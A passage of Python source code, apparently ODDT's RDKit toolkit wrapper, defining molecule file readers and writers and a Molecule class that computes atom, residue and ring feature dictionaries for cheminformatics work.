'!$(C(Br)(Br)Br)&'\n '!$(C([CH3])([CH3])[CH3])]'\n}\n\nfps = ['rdkit', 'layered', 'maccs', 'atompairs', 'torsions', 'morgan']\n\"\"\"A list of supported fingerprint types\"\"\"\ndescs = list(_descDict.keys())\n\"\"\"A list of supported descriptors\"\"\"\n\n_formats = {'smi': \"SMILES\",\n 'can': \"Canonical SMILES\",\n 'mol': \"MDL MOL file\",\n 'mol2': \"Tripos MOL2 file\",\n 'sdf': \"MDL SDF file\",\n 'inchi': \"InChI\",\n 'inchikey': \"InChIKey\"}\n_notinformats = ['can', 'inchikey']\n_notoutformats = ['mol2']\nif not Chem.INCHI_AVAILABLE:\n _notinformats += ['inchi']\n _notoutformats += ['inchi', 'inchikey']\n\ninformats = dict([(_x, _formats[_x]) for _x in _formats if _x not in _notinformats])\n\"\"\"A dictionary of supported input formats\"\"\"\noutformats = dict([(_x, _formats[_x]) for _x in _formats if _x not in _notoutformats])\n\"\"\"A dictionary of supported output formats\"\"\"\n\nbase_feature_factory = AllChem.BuildFeatureFactory(os.path.join(RDConfig.RDDataDir, 'BaseFeatures.fdef'))\n\"\"\" Global feature factory based on BaseFeatures.fdef \"\"\"\n\n_forcefields = {'uff': AllChem.UFFOptimizeMolecule,\n 'mmff94': AllChem.MMFFOptimizeMolecule}\nforcefields = list(_forcefields.keys())\n\"\"\"A list of supported forcefields\"\"\"\n\n\ndef _filereader_mol2(filename, lazy=False, **kwargs):\n block = ''\n data = ''\n n = 0\n with gzip.open(filename, 'rb') if filename.split('.')[-1] == 'gz' else open(filename, 'rb') as f:\n for line in f:\n line = line.decode('ascii')\n if line[:1] == '#':\n data += line\n elif line[:17] == '@MOLECULE':\n if n > 0: # skip `zero` molecule (any preciding comments and spaces)\n if lazy:\n yield Molecule(source={'fmt': 'mol2', 'string': block, 'kwargs': kwargs})\n else:\n yield readstring('mol2', block, **kwargs)\n n += 1\n block = data\n data = ''\n block += line\n # open last molecule\n if block:\n if lazy:\n yield Molecule(source={'fmt': 'mol2', 'string': block, 'kwargs': kwargs})\n else:\n yield readstring('mol2', block, **kwargs)\n\n\ndef _filereader_sdf(filename, lazy=False, **kwargs):\n block = ''\n n = 0\n with gzip.open(filename, 'rb') if filename.split('.')[-1] == 'gz' else open(filename, 'rb') as f:\n if lazy:\n for line in f:\n line = line.decode('ascii')\n block += line\n if line[:4] == '$$$$':\n yield Molecule(source={'fmt': 'sdf', 'string': block, 'kwargs': kwargs})\n n += 1\n block = ''\n if block: # open last molecule if any\n yield Molecule(source={'fmt': 'sdf', 'string': block, 'kwargs': kwargs})\n else:\n for mol in Chem.ForwardSDMolSupplier(f, **kwargs):\n yield Molecule(mol)\n\n\ndef _filereader_pdb(filename, lazy=False, opt=None, **kwargs):\n block = ''\n n = 0\n with gzip.open(filename, 'rb') if filename.split('.')[-1] == 'gz' else open(filename, 'rb') as f:\n for line in f:\n line = line.decode('ascii')\n block += line\n if line[:6] == 'ENDMDL':\n if lazy:\n yield Molecule(source={'fmt': 'pdb', 'string': block, 'opt': opt, 'kwargs': kwargs})\n else:\n yield readstring('pdb', block, **kwargs)\n n += 1\n block = ''\n if block: # open last molecule if any\n if lazy:\n yield Molecule(source={'fmt': 'pdb', 'string': block, 'opt': opt, 'kwargs': kwargs})\n else:\n yield readstring('pdb', block, **kwargs)\n\n\ndef _filereader_pdbqt(filename, lazy=False, opt=None, **kwargs):\n block = ''\n n = 0\n with gzip.open(filename, 'rb') if filename.split('.')[-1] == 'gz' else open(filename, 'rb') as f:\n for line in f:\n line = line.decode('ascii')\n block += line\n if line[:6] == 'ENDMDL':\n if lazy:\n yield Molecule(source={'fmt': 'pdbqt', 'string': block, 'opt': opt, 'kwargs': kwargs})\n else:\n yield readstring('pdbqt', block, **kwargs)\n n += 1\n block = ''\n if block: # open last molecule if any\n if lazy:\n yield Molecule(source={'fmt': 'pdbqt', 'string': block, 'opt': opt, 'kwargs': kwargs})\n else:\n yield readstring('pdbqt', block, **kwargs)\n\n\ndef readfile(format, filename, lazy=False, opt=None, **kwargs):\n \"\"\"Iterate over the molecules in a file.\n\n Required parameters:\n format - see the informats variable for a list of available\n input formats\n filename\n\n You can access the first molecule in a file using the next() method\n of the iterator:\n mol = next(readfile(\"smi\", \"myfile.smi\"))\n\n You can make a list of the molecules in a file using:\n mols = list(readfile(\"smi\", \"myfile.smi\"))\n\n You can iterate over the molecules in a file as shown in the\n following code snippet:\n >>> atomtotal = 0\n >>> for mol in readfile(\"sdf\", \"head.sdf\"):\n ... atomtotal += len(mol.atoms)\n ...\n >>> print(atomtotal)\n 43\n \"\"\"\n if not os.path.isfile(filename):\n raise IOError(\"No such file: '%s'\" % filename)\n format = format.lower()\n # Eagerly evaluate the supplier functions in order to report\n # errors in the format and errors in opening the file.\n # Then switch to an iterator...\n if format in [\"sdf\", \"mol\"]:\n return _filereader_sdf(filename, lazy=lazy, **kwargs)\n elif format == \"pdb\":\n return _filereader_pdb(filename, lazy=lazy, **kwargs)\n elif format == \"pdbqt\":\n return _filereader_pdbqt(filename, lazy=lazy, **kwargs)\n elif format == \"mol2\":\n return _filereader_mol2(filename, lazy=lazy, **kwargs)\n elif format == \"smi\":\n iterator = Chem.SmilesMolSupplier(filename, delimiter=\" \\t\",\n titleLine=False, **kwargs)\n\n def smi_reader():\n for mol in iterator:\n yield Molecule(mol)\n return smi_reader()\n elif format == 'inchi' and Chem.INCHI_AVAILABLE:\n def inchi_reader():\n for line in open(filename):\n mol = Chem.inchi.MolFromInchi(line.strip(), **kwargs)\n yield Molecule(mol)\n return inchi_reader()\n else:\n raise ValueError(\"%s is not a recognised RDKit format\" % format)\n\n\ndef readstring(format, string, **kwargs):\n \"\"\"Read in a molecule from a string.\n\n Required parameters:\n format - see the informats variable for a list of available\n input formats\n string\n\n Example:\n >>> input = \"C1=CC=CS1\"\n >>> mymol = readstring(\"smi\", input)\n >>> len(mymol.atoms)\n 5\n \"\"\"\n string = str(string)\n format = format.lower()\n if format in [\"mol\", \"sdf\"]:\n supplier = Chem.SDMolSupplier(**kwargs)\n supplier.SetData(string)\n mol = next(supplier)\n del supplier\n elif format == \"mol2\":\n mol = Chem.MolFromMol2Block(string, **kwargs)\n elif format == \"pdb\":\n mol = MolFromPDBBlock(string, **kwargs)\n elif format == 'pdbqt':\n mol = MolFromPDBQTBlock(string, **kwargs)\n elif format == \"smi\":\n s = string.strip().split('\\n')[0].strip().split()\n mol = Chem.MolFromSmiles(s[0], **kwargs)\n if mol:\n mol.SetProp(\"_Name\", ' '.join(s[1:]))\n elif format == 'inchi' and Chem.INCHI_AVAILABLE:\n mol = Chem.inchi.MolFromInchi(string, **kwargs)\n else:\n raise ValueError(\"%s is not a recognised RDKit format\" % format)\n return Molecule(mol)\n\n\nclass Outputfile(object):\n \"\"\"Represent a file to which *output* is to be sent.\n\n Required parameters:\n format - see the outformats variable for a list of available\n output formats\n filename\n\n Optional parameters:\n overwite -- if the output file already exists, should it\n be overwritten? (default is False)\n\n Methods:\n write(molecule)\n close()\n \"\"\"\n def __init__(self, format, filename, overwrite=False, **kwargs):\n self.format = format\n self.filename = filename\n if not overwrite and os.path.isfile(self.filename):\n raise IOError(\"%s already exists. Use 'overwrite=True' to overwrite it.\" % self.filename)\n if format == \"sdf\":\n self._writer = Chem.SDWriter(self.filename, **kwargs)\n elif format == \"smi\":\n self._writer = Chem.SmilesWriter(self.filename, isomericSmiles=True, includeHeader=False, **kwargs)\n elif format in ('inchi', 'inchikey') and Chem.INCHI_AVAILABLE:\n self._writer = open(filename, 'w')\n elif format in ('mol2', 'pdbqt'):\n self._writer = gzip.open(filename, 'w') if filename.split('.')[-1] == 'gz' else open(filename, 'w')\n elif format == \"pdb\":\n self._writer = Chem.PDBWriter(self.filename)\n else:\n raise ValueError(\"%s is not a recognised RDKit format\" % format)\n self.total = 0 # The total number of molecules written to the file\n self.writer_kwargs = kwargs\n\n def write(self, molecule):\n \"\"\"Write a molecule to the output file.\n\n Required parameters:\n molecule\n \"\"\"\n if not self.filename:\n raise IOError(\"Outputfile instance is closed.\")\n if self.format in ('inchi', 'inchikey', 'mol2'):\n self._writer.write(molecule.write(self.format, **self.writer_kwargs) + '\\n')\n if self.format == 'pdbqt':\n self._writer.write('MODEL %i\\n' % (self.total + 1) +\n molecule.write(self.format, **self.writer_kwargs) + '\\nENDMDL\\n')\n else:\n self._writer.write(molecule.Mol)\n self.total += 1\n\n def close(self):\n \"\"\"Close the Outputfile to further writing.\"\"\"\n self.filename = None\n self._writer.flush()\n del self._writer\n\n\nclass Molecule(object):\n \"\"\"Represent an rdkit Molecule.\n\n Required parameter:\n Mol -- an RDKit Mol or any type of cinfony Molecule\n\n Attributes:\n atoms, data, formula, molwt, title\n\n Methods:\n addh(), calcfp(), calcdesc(), draw(), localopt(), make3D(), removeh(),\n write()\n\n The underlying RDKit Mol can be accessed using the attribute:\n Mol\n \"\"\"\n _cinfony = True\n\n def __new__(cls, Mol=-1, source=None, *args, **kwargs):\n \"\"\" Trap RDKit molecules which are 'None' \"\"\"\n if Mol is None and source is None:\n return None\n else:\n return super(Molecule, cls).__new__(cls)\n\n def __init__(self, Mol=None, source=None, protein=False):\n if Mol and not isinstance(Mol, (Molecule, Chem.Mol)):\n raise ValueError('Mol needs to be ODDT or RDKit molecule instance')\n\n if hasattr(Mol, \"_cinfony\"):\n a, b = Mol._exchange\n if a == 0:\n molecule = readstring(\"smi\", b)\n else:\n molecule = readstring(\"mol\", b)\n Mol = molecule.Mol\n\n self.Mol = Mol\n # ODDT #\n self._protein = protein\n # caches\n self._atom_dict = None\n self._res_dict = None\n self._ring_dict = None\n self._coords = None\n self._charges = None\n self._residues = None\n # lazy\n self._source = source # dict with keys: n, fmt, string, filename\n if Mol is None and not source:\n self = None\n return None\n\n # lazy Molecule parsing requires masked Mol\n @property\n def Mol(self):\n if not self._Mol and self._source:\n kwargs = self._source.get('kwargs', {})\n tmp_mol = readstring(self._source['fmt'], self._source['string'], **kwargs)\n if tmp_mol is None:\n self = None\n return None\n else:\n self._Mol = tmp_mol.Mol\n self._source = None\n return self._Mol\n\n @Mol.setter\n def Mol(self, value):\n self._Mol = value\n\n @property\n def atoms(self):\n return AtomStack(self.Mol)\n\n @property\n def data(self):\n return MoleculeData(self.Mol)\n\n @property\n def molwt(self):\n return Descriptors.MolWt(self.Mol)\n\n @property\n def formula(self):\n return Descriptors.MolecularFormula(self.Mol)\n\n def _gettitle(self):\n # Note to self: maybe should implement the get() method for self.data\n if \"_Name\" in self.data:\n return self.data[\"_Name\"]\n else:\n return \"\"\n\n def _settitle(self, val):\n self.Mol.SetProp(\"_Name\", val)\n\n title = property(_gettitle, _settitle)\n\n @property\n def _exchange(self):\n if self.Mol.GetNumConformers() == 0:\n return (0, self.write(\"smi\"))\n else:\n return (1, self.write(\"mol\"))\n\n # cache frequently used properties and cache them in prefixed [_] variables\n @property\n def coords(self):\n if self._coords is None:\n self._coords = np.array([atom.coords for atom in self.atoms], dtype=np.float32)\n self._coords.setflags(write=False)\n return self._coords\n\n @coords.setter\n def coords(self, new):\n new = np.asarray(new, dtype=np.float64)\n if self.Mol.GetNumConformers() == 0:\n raise AttributeError(\"Atom has no coordinates (0D structure)\")\n if self.Mol.GetNumAtoms() != new.shape[0]:\n raise AttributeError(\"Atom number is unequal. You have to supply new coordinates for all atoms\")\n conformer = self.Mol.GetConformer()\n for idx in range(self.Mol.GetNumAtoms()):\n conformer.SetAtomPosition(idx, new[idx, :])\n # clear cache\n self._coords = None\n self._atom_dict = None\n\n @property\n def charges(self):\n if self._charges is None:\n self._charges = np.array([atom.partialcharge for atom in self.atoms])\n return self._charges\n\n @property\n def smiles(self):\n return Chem.MolToSmiles(self.Mol, isomericSmiles=True)\n\n # Custom ODDT properties #\n def _clear_cache(self):\n \"\"\"Clear all ODDT caches and dicts\"\"\"\n self._atom_dict = None\n self._res_dict = None\n self._ring_dict = None\n self._coords = None\n self._charges = None\n self._residues = None\n\n @property\n def residues(self):\n if self._residues is None:\n res_idx = []\n # get residue information for each atom\n for atom in self.Mol.GetAtoms():\n info = atom.GetPDBResidueInfo()\n if info is None:\n res_idx.append(0)\n else:\n res_idx.append('%s%05.i' % (info.GetChainId()\n if info.GetChainId().split()\n else '_',\n info.GetResidueNumber()))\n res_idx = np.array(res_idx)\n # get unique residues\n res_idx_unique = np.unique(res_idx)\n # group atom indices by residue; residues are in alphabetical order\n if len(res_idx_unique) > 1:\n idx_sorted = np.argsort(res_idx, kind='mergesort')\n self._residues = np.split(\n idx_sorted, # use atom indices sorted by residue\n # find indices where residue changes\n np.where(np.diff(np.searchsorted(res_idx_unique,\n res_idx[idx_sorted])) > 0)[0] + 1)\n else:\n # if there is a single residue (or no residue information\n # at all) there is only one group of atoms\n self._residues = [tuple(range(self.Mol.GetNumAtoms()))]\n return ResidueStack(self.Mol, self._residues)\n\n @property\n def protein(self):\n \"\"\"\n A flag for identifing the protein molecules, for which `atom_dict`\n procedures may differ.\n \"\"\"\n return self._protein\n\n @protein.setter\n def protein(self, protein):\n \"\"\"atom_dict caches must be cleared due to property change\"\"\"\n self._clear_cache()\n self._protein = protein\n\n @property\n def sssr(self):\n return [list(path) for path in list(Chem.GetSymmSSSR(self.Mol))]\n\n @property\n def num_rotors(self):\n return NumRotatableBonds(self.Mol)\n\n @property\n def bonds(self):\n return BondStack(self.Mol)\n\n @property\n def canonic_order(self):\n \"\"\" Returns np.array with canonic order of heavy atoms in the molecule \"\"\"\n tmp = self.clone\n tmp.removeh()\n return np.array(CanonicalRankAtoms(tmp.Mol), dtype=int)\n\n @property\n def atom_dict(self):\n # check cache and generate dicts\n if self._atom_dict is None:\n self._dicts()\n return self._atom_dict\n\n @property\n def res_dict(self):\n # check cache and generate dicts\n if self._res_dict is None:\n self._dicts()\n return self._res_dict\n\n @property\n def ring_dict(self):\n # check cache and generate dicts\n if self._ring_dict is None:\n self._dicts()\n return self._ring_dict\n\n @property\n def clone(self):\n return Molecule(Chem.Mol(self.Mol.ToBinary()))\n\n def _repr_svg_(self):\n if isinstance(image_size, int):\n size = (image_size, image_size)\n elif isinstance(image_size, (tuple, list)) and len(image_size) == 2:\n size = tuple(image_size)\n else:\n raise ValueError('oddt.toolkit.image_size has bad value - '\n 'it should be int or list/tuple of two ints. '\n 'Got: %s ' % image_size)\n if image_backend == 'svg':\n svg = self.write('svg', size=size)\n return svg.replace('svg:', '').replace('\\n', '')\n else:\n return None\n\n def _repr_png_(self):\n if isinstance(image_size, int):\n size = (image_size, image_size)\n elif isinstance(image_size, (tuple, list)) and len(image_size) == 2:\n size = tuple(image_size)\n else:\n raise ValueError('oddt.toolkit.image_size has bad value - '\n 'it should be int or list/tuple of two ints. '\n 'Got: %s ' % image_size)\n if image_backend == 'png':\n png = self.write('png', size=size)\n return png\n else:\n return None\n\n def _repr_html_(self):\n if image_backend == 'png':\n return '\"%s\"' % (\n b64encode(self._repr_png_()).decode('ascii'),\n self.title)\n elif image_backend == 'svg':\n return self._repr_svg_()\n else:\n return None\n\n def __str__(self):\n return self.__repr__()\n\n def __repr__(self):\n if ipython_notebook:\n return self._repr_html_()\n else:\n return super(Molecule, self).__repr__()\n\n def clone_coords(self, source):\n self.Mol.RemoveAllConformers()\n for conf in source.Mol.GetConformers():\n self.Mol.AddConformer(conf)\n return self\n\n def _dicts(self):\n max_neighbors = 6 # max of 6 neighbors should be enough\n # Atoms\n atom_dtype = [('id', np.uint32),\n # atom info\n ('coords', np.float32, 3),\n ('radius', np.float32),\n ('charge', np.float32),\n ('atomicnum', np.int8),\n ('atomtype', 'U5' if PY3 else 'a5'),\n ('hybridization', np.int8),\n ('numhs', np.uint8),\n ('formalcharge', np.int8),\n ('neighbors_id', np.int16, max_neighbors),\n ('neighbors', np.float32, (max_neighbors, 3)),\n # residue info\n ('resid', np.int16),\n ('resnum', np.int16),\n ('resname', 'U3' if PY3 else 'a3'),\n ('isbackbone', bool),\n # atom properties\n ('isacceptor', bool),\n ('isdonor', bool),\n ('isdonorh', bool),\n ('ismetal', bool),\n ('ishydrophobe', bool),\n ('isaromatic', bool),\n ('isminus', bool),\n ('isplus', bool),\n ('ishalogen', bool),\n # secondary structure\n ('isalpha', bool),\n ('isbeta', bool),\n ]\n\n atom_dict = np.empty(self.Mol.GetNumAtoms(), dtype=atom_dtype)\n metals = [3, 4, 11, 12, 13, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29,\n 30, 31, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49,\n 50, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68,\n 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83,\n 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101,\n 102, 103]\n for i, atom in enumerate(self.atoms):\n\n atomicnum = atom.atomicnum\n partialcharge = atom.partialcharge\n coords = atom.coords\n atomtype = (atom.Atom.GetProp(\"_TriposAtomType\")\n if atom.Atom.HasProp(\"_TriposAtomType\")\n else _sybyl_atom_type(atom.Atom))\n if self.protein:\n residue = atom.Atom.GetMonomerInfo()\n else:\n residue = False\n\n # get neighbors, but only for those atoms which realy need them\n neighbors = np.zeros(max_neighbors, dtype=[('id', np.int16),\n ('coords', np.float32, 3),\n ('atomicnum', np.int8)])\n neighbors['coords'].fill(np.nan)\n for n, nbr_atom in enumerate(atom.neighbors):\n if n >= max_neighbors:\n warnings.warn('Error while parsing molecule \"%s\" '\n 'for `atom_dict`. Atom #%i (%s) has %i '\n 'neighbors (max_neighbors=%i). Additional '\n 'neighbors are ignored.' % (self.title,\n atom.idx0,\n atomtype,\n len(atom.neighbors),\n max_neighbors),\n UserWarning)\n break\n if nbr_atom.atomicnum == 1:\n continue\n neighbors[n] = (nbr_atom.idx0, nbr_atom.coords, nbr_atom.atomicnum)\n assert i == atom.idx0\n atom_dict[i] = (atom.idx0,\n coords,\n elementtable.GetRvdw(atomicnum),\n partialcharge if atomicnum > 1 else 0,\n atomicnum,\n atomtype,\n np.clip(atom.Atom.GetHybridization() - 1, 0, 3),\n atom.Atom.GetTotalNumHs(includeNeighbors=True),\n atom.Atom.GetFormalCharge(),\n neighbors['id'],\n neighbors['coords'],\n # residue info\n 0, # RDKit does not support residue indexing\n residue.GetResidueNumber() if residue else 0,\n residue.GetResidueName().strip() if residue else '',\n False, # is backbone\n # atom properties\n False, # IsHbondAcceptor\n False, # IsHbondDonor,\n False, # IsHbondDonorH,\n atomicnum in metals,\n atomicnum == 6 and np.in1d(neighbors['atomicnum'], [6, 1, 0]).all(), # hydrophobe\n atom.Atom.GetIsAromatic(),\n atom.formalcharge < 0, # is charged (minus)\n atom.formalcharge > 0, # is charged (plus)\n atomicnum in [9, 17, 35, 53], # is halogen?\n False, # alpha\n False # beta\n )\n\n not_carbon = np.argwhere(~np.in1d(atom_dict['atomicnum'], [1, 6])).flatten()\n # Acceptors\n patt = Chem.MolFromSmarts('[$([O;H1;v2]),'\n '$([O;H0;v2;!$(O=N-*),'\n '$([O;-;!$(*-N=O)]),'\n '$([o;+0])]),'\n '$([n;+0;!X3;!$([n;H1](cc)cc),'\n '$([$([N;H0]#[C&v4])]),'\n '$([N&v3;H0;$(Nc)])]),'\n '$([F;$(F-[#6]);!$(FC[F,Cl,Br,I])])]')\n matches = np.array(self.Mol.GetSubstructMatches(patt, maxMatches=5000)).flatten()\n if len(matches) > 0:\n atom_dict['isacceptor'][np.intersect1d(matches, not_carbon)] = True\n\n # Donors\n patt = Chem.MolFromSmarts('[$([N&!H0&v3,N&!H0&+1&v4,n&H1&+0,$([$([Nv3](-C)(-C)-C)]),'\n '$([$(n[n;H1]),'\n '$(nc[n;H1])])]),'\n # Guanidine can be tautormeic - e.g. Arginine\n '$([NX3,NX2]([!O,!S])!@C(!@[NX3,NX2]([!O,!S]))!@[NX3,NX2]([!O,!S])),'\n '$([O,S;H1;+0])]')\n matches = np.array(self.Mol.GetSubstructMatches(patt, maxMatches=5000)).flatten()\n if len(matches) > 0:\n atom_dict['isdonor'][np.intersect1d(matches, not_carbon)] = True\n atom_dict['isdonorh'][[n.GetIdx()\n for idx in np.argwhere(atom_dict['isdonor']).flatten()\n for n in self.Mol.GetAtomWithIdx(int(idx)).GetNeighbors()\n if n.GetAtomicNum() == 1]] = True\n\n # Basic group\n patt = Chem.MolFromSmarts('[$([N;H2&+0][$([C,a]);!$([C,a](=O))]),'\n '$([N;H1&+0]([$([C,a]);!$([C,a](=O))])[$([C,a]);!$([C,a](=O))]),'\n '$([N;H0&+0]([C;!$(C(=O))])([C;!$(C(=O))])[C;!$(C(=O))]),'\n '$([N,n;X2;+0])]')\n matches = np.array(self.Mol.GetSubstructMatches(patt, maxMatches=5000)).flatten()\n if len(matches) > 0:\n atom_dict['isplus'][np.intersect1d(matches, not_carbon)] = True\n\n # Acidic group\n patt = Chem.MolFromSmarts('[CX3](=O)[OX1H0-,OX2H1]')\n matches = np.array(self.Mol.GetSubstructMatches(patt, maxMatches=5000)).flatten()\n if len(matches) > 0:\n atom_dict['isminus'][np.intersect1d(matches, not_carbon)] = True\n\n # build residue dictionary\n if self.protein:\n # for protein finding features per residue is much faster\n res_dict = None\n # Protein Residues (alpha helix and beta sheet)\n res_dtype = [('id', np.int16),\n ('resnum', np.int16),\n ('resname', 'U3' if PY3 else 'a3'),\n ('N', np.float32, 3),\n ('CA', np.float32, 3),\n ('C', np.float32, 3),\n ('O', np.float32, 3),\n ('isalpha', bool),\n ('isbeta', bool)\n ] # N, CA, C, O\n b = []\n aa = Chem.MolFromSmarts('NCC(-,=O)') # amino backbone SMARTS\n conf = self.Mol.GetConformer()\n for residue in self.residues:\n path = residue.Residue.GetSubstructMatch(aa)\n if path:\n backbone_map = np.array([residue.atommap[i] for i in path])\n atom_dict['isbackbone'][backbone_map] = True\n b.append((residue.idx0,\n residue.number,\n residue.name,\n conf.GetAtomPosition(residue.atommap[path[0]]),\n conf.GetAtomPosition(residue.atommap[path[1]]),\n conf.GetAtomPosition(residue.atommap[path[2]]),\n conf.GetAtomPosition(residue.atommap[path[3]]),\n False,\n False))\n # set resid for atoms in atom_dict\n atom_dict['resid'][list(residue.atommap.values())] = residue.idx0\n res_dict = np.array(b, dtype=res_dtype)\n res_dict = detect_secondary_structure(res_dict)\n alpha_mask = np.in1d(atom_dict['resid'],\n res_dict[res_dict['isalpha']]['id'])\n atom_dict['isalpha'][alpha_mask] = True\n beta_mask = np.in1d(atom_dict['resid'],\n res_dict[res_dict['isbeta']]['id'])\n atom_dict['isbeta'][beta_mask] = True\n\n # FIX: remove acidic carbons from isminus group (they are part of smarts)\n atom_dict['isminus'][atom_dict['isminus'] &\n (atom_dict['atomicnum'] == 6)] = False\n\n # Aromatic Rings\n r = []\n for path in self.sssr:\n if self.Mol.GetAtomWithIdx(path[0]).GetIsAromatic():\n atoms = atom_dict[canonize_ring_path(path)]\n if len(atoms):\n atom = atoms[0]\n coords = atoms['coords']\n centroid = coords.mean(axis=0)\n # get vector perpendicular to ring\n ring_vectors = coords - centroid\n vector = np.cross(ring_vectors, np.roll(ring_vectors, shift=-1, axis=0)).mean(axis=0)\n r.append((centroid,\n vector,\n atom['resid'],\n atom['resnum'],\n atom['resname'],\n atom['isalpha'],\n atom['isbeta']))\n ring_dict = np.array(r, dtype=[('centroid', np.float32, 3),\n ('vector', np.float32, 3),\n ('resid', np.int16),\n ('resnum', np.int16),\n ('resname', 'U3' if PY3 else 'a3'),\n ('isalpha', bool),\n ('isbeta', bool)])\n\n self._atom_dict = atom_dict\n self._atom_dict.setflags(write=False)\n self._ring_dict = ring_dict\n self._ring_dict.setflags(write=False)\n if self.protein:\n self._res_dict = res_dict\n # self._res_dict.setflags(write=False)\n\n def addh(self, only_polar=False, **kwargs):\n \"\"\"Add hydrogens.\"\"\"\n if only_polar:\n polar_atoms = [atom.GetIdx()\n for atom in self.Mol.GetAtoms()\n if atom.GetAtomicNum() != 6]\n else:\n polar_atoms = None\n\n # if rdkit.__version__ > '2018.03':\n # self.Mol = Chem.AddHs(self.Mol,\n # addCoords=True,\n # onlyOnAtoms=polar_atoms,\n # addResidueInfo=self.protein,\n # **kwargs)\n # else:\n self.Mol = Chem.AddHs(self.Mol,\n addCoords=True,\n onlyOnAtoms=polar_atoms,\n **kwargs)\n # merge Hs to residues\n if self.protein:\n max_serial = max(atom.GetPDBResidueInfo().GetSerialNumber()\n for atom in self.Mol.GetAtoms()\n if atom.GetPDBResidueInfo())\n current_info = None\n h_serial = 0\n for n, atom in enumerate(self.Mol.GetAtoms()):\n if atom.GetAtomicNum() == 1:\n assert atom.GetDegree() == 1\n res = atom.GetNeighbors()[0].GetPDBResidueInfo()\n if current_info is None or not (\n current_info.GetResidueNumber() == res.GetResidueNumber() and\n current_info.GetChainId() == res.GetChainId() and\n current_info.GetResidueName() == res.GetResidueName()):\n current_info = res\n h_serial = 0\n if res is not None:\n max_serial += 1\n h_serial += 1\n label = 'H' + str(h_serial).ljust(3)\n atom.SetMonomerInfo(\n Chem.AtomPDBResidueInfo(atomName=label[-1:] + label[:-1],\n serialNumber=max_serial,\n residueName=res.GetResidueName(),\n residueNumber=res.GetResidueNumber(),\n chainId=res.GetChainId(),\n insertionCode=\"\",\n isHeteroAtom=res.GetIsHeteroAtom()))\n\n self._clear_cache()\n\n def removeh(self, **kwargs):\n \"\"\"Remove hydrogens.\"\"\"\n self.Mol = Chem.RemoveHs(self.Mol, **kwargs)\n self._clear_cache()\n\n def write(self, format=\"smi\", filename=None, overwrite=False, size=None, **kwargs):\n \"\"\"Write the molecule to a file or return a string.\n\n Optional parameters:\n format -- see the informats variable for a list of available\n output formats (default is \"smi\")\n filename -- default is None\n overwite -- if the output file already exists, should it\n be overwritten? (default is False)\n\n If a filename is specified, the result is written to a file.\n Otherwise, a string is returned containing the result.\n\n To write multiple molecules to the same file you should use\n the Outputfile class.\n \"\"\"\n format = format.lower()\n # Use lazy molecule if possible\n if self._source and 'fmt' in self._source and self._source['fmt'] == format and self._source['string']:\n return self._source['string']\n if filename:\n if not overwrite and os.path.isfile(filename):\n raise IOError(\"%s already exists. Use 'overwrite=True' to overwrite it.\" % filename)\n if format == \"smi\" or format == \"can\":\n result = '%s\\t%s\\n' % (Chem.MolToSmiles(self.Mol, **kwargs), self.title)\n elif format in [\"mol\", \"sdf\"]:\n result = Chem.MolToMolBlock(self.Mol, **kwargs)\n # elif format == \"mol2\":\n # result = MolToMol2Block(self.Mol, **kwargs)\n elif format == \"pdb\":\n result = Chem.MolToPDBBlock(self.Mol, **kwargs)\n elif format == \"pdbqt\":\n result = MolToPDBQTBlock(self.Mol, **kwargs)\n elif format in ('inchi', 'inchikey') and Chem.INCHI_AVAILABLE:\n result = Chem.inchi.MolToInchi(self.Mol, **kwargs)\n if format == 'inchikey':\n result = Chem.inchi.InchiToInchiKey(result, **kwargs)\n elif format == \"png\":\n size = size or (200, 200)\n mc = Chem.Mol(self.Mol.ToBinary())\n AllChem.Compute2DCoords(mc)\n if hasattr(rdMolDraw2D, 'MolDraw2DCairo'):\n drawer = rdMolDraw2D.MolDraw2DCairo(*size)\n drawer.DrawMolecule(mc)\n drawer.FinishDrawing()\n if filename:\n with open(filename, 'w+') as f:\n f.write(drawer.GetDrawingText())\n else:\n return drawer.GetDrawingText()\n else:\n bio = BytesIO()\n img = Draw.MolToImage(mc, size=size)\n img.save(bio, format='PNG')\n if filename:\n with open(filename, 'w+') as f:\n f.write(bio.getvalue())\n else:\n return bio.getvalue()\n elif format == \"svg\":\n size = size or (200, 200)\n mc = Chem.Mol(self.Mol.ToBinary())\n AllChem.Compute2DCoords(mc)\n drawer = rdMolDraw2D.MolDraw2DSVG(*size)\n drawer.DrawMolecule(mc)\n drawer.FinishDrawing()\n svg = drawer.GetDrawingText()\n if filename:\n with open(filename, 'w+') as f:\n f.write(svg)\n else:\n return svg\n else:\n raise ValueError(\"%s is not a recognised RDKit format\" % format)\n if filename:\n with open(filename, \"w\") as f:\n f.write(result)\n else:\n return result\n\n def __iter__(self):\n \"\"\"Iterate over the Atoms of the Molecule.\n\n This allows constructions such as the following:\n for atom in mymol:\n print(atom)\n \"\"\"\n return iter(self.atoms)\n\n def calcdesc(self, descnames=None):\n \"\"\"Calculate descriptor values.\n\n Optional parameter:\n descnames -- a list of names of descriptors\n\n If descnames is not specified, all available descriptors are\n calculated. See the descs variable for a list of available\n descriptors.\n \"\"\"\n descnames = descnames or descs\n ans = {}\n for descname in descnames:\n try:\n desc = _descDict[descname]\n except KeyError:\n raise ValueError(\"%s is not a recognised RDKit descriptor type\" % descname)\n ans[descname] = desc(self.Mol)\n return ans\n\n def calcfp(self, fptype=\"rdkit\", opt=None):\n \"\"\"Calculate a molecular fingerprint.\n\n Optional parameters:\n fptype -- the fingerprint type (default is \"rdkit\"). See the\n fps variable for a list of of available fingerprint\n types.\n opt -- a dictionary of options for fingerprints. Currently only used\n for radius and bitInfo in Morgan fingerprints.\n \"\"\"\n if opt is None:\n opt = {}\n fptype = fptype.lower()\n if fptype == \"rdkit\":\n fp = Fingerprint(Chem.RDKFingerprint(self.Mol))\n elif fptype == \"layered\":\n fp = Fingerprint(Chem.LayeredFingerprint(self.Mol))\n elif fptype == \"maccs\":\n fp = Fingerprint(Chem.MACCSkeys.GenMACCSKeys(self.Mol))\n elif fptype == \"atompairs\":\n # Going to leave as-is. See Atom Pairs documentation.\n fp = Chem.AtomPairs.Pairs.GetAtomPairFingerprintAsIntVect(self.Mol)\n elif fptype == \"torsions\":\n # Going to leave as-is.\n fp = Chem.AtomPairs.Torsions.GetTopologicalTorsionFingerprintAsIntVect(self.Mol)\n elif fptype == \"morgan\":\n 